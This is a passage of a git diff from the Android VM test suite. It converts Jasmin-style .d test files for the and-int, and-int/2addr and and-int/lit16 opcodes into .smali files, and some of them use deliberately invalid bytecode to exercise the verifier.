-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 31415
-       and-int v2, v0, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.smali
new file mode 100644
index 0000000..b8e8b1e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_3.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 31415
+       and-int v2, v0, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.d
deleted file mode 100644
index 9759124..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_4.java
-.class public dot.junit.opcodes.and_int.d.T_and_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int v0, v2, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.smali
new file mode 100644
index 0000000..03018a2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_4.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int v0, v2, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.d
deleted file mode 100644
index b7480ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_5.java
-.class public dot.junit.opcodes.and_int.d.T_and_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-       and-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.smali
new file mode 100644
index 0000000..834ff36
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_5.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+       and-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.d
deleted file mode 100644
index 7a3d212..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_6.java
-.class public dot.junit.opcodes.and_int.d.T_and_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int v0, v2, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.smali
new file mode 100644
index 0000000..73ad3f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_6.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int v0, v2, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.d
deleted file mode 100644
index faf2f0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2addr_1.java
-.class public dot.junit.opcodes.and_int_2addr.d.T_and_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.smali
new file mode 100644
index 0000000..37b7019
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.d
deleted file mode 100644
index 5906582..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2addr_2.java
-.class public dot.junit.opcodes.and_int_2addr.d.T_and_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       and-int/2addr v0, v3
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.smali
new file mode 100644
index 0000000..7499925
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       and-int/2addr v0, v3
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.d
deleted file mode 100644
index 4d26208..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2addr_3.java
-.class public dot.junit.opcodes.and_int_2addr.d.T_and_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 31415
-       and-int/2addr v0, v3
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.smali
new file mode 100644
index 0000000..6ea7fa9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 31415
+       and-int/2addr v0, v3
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.d
deleted file mode 100644
index 6bfff72..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2addr_4.java
-.class public dot.junit.opcodes.and_int_2addr.d.T_and_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int/2addr v2, v1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.smali
new file mode 100644
index 0000000..2e1d14a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/2addr v2, v1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.d
deleted file mode 100644
index c7183c6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2addr_5.java
-.class public dot.junit.opcodes.and_int_2addr.d.T_and_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-       and-int/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.smali
new file mode 100644
index 0000000..8bf249e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+       and-int/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.d
deleted file mode 100644
index b5d1901..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2addr_6.java
-.class public dot.junit.opcodes.and_int_2addr.d.T_and_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int/2addr v2, v4
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.smali
new file mode 100644
index 0000000..f523f5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/2addr v2, v4
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.d
deleted file mode 100644
index ebc9f85..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_1.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 15
-       and-int/lit16 v0, v0, 8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.smali
new file mode 100644
index 0000000..9fc8b5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 15
+       and-int/lit16 v0, v0, 8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.d
deleted file mode 100644
index ce46afc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_10.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int/lit16 v0, v4, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.smali
new file mode 100644
index 0000000..d1c3461
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/lit16 v0, v4, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.d
deleted file mode 100644
index a76ada7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_2.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, -7
-       and-int/lit16 v0, v0, -8
-       return v0
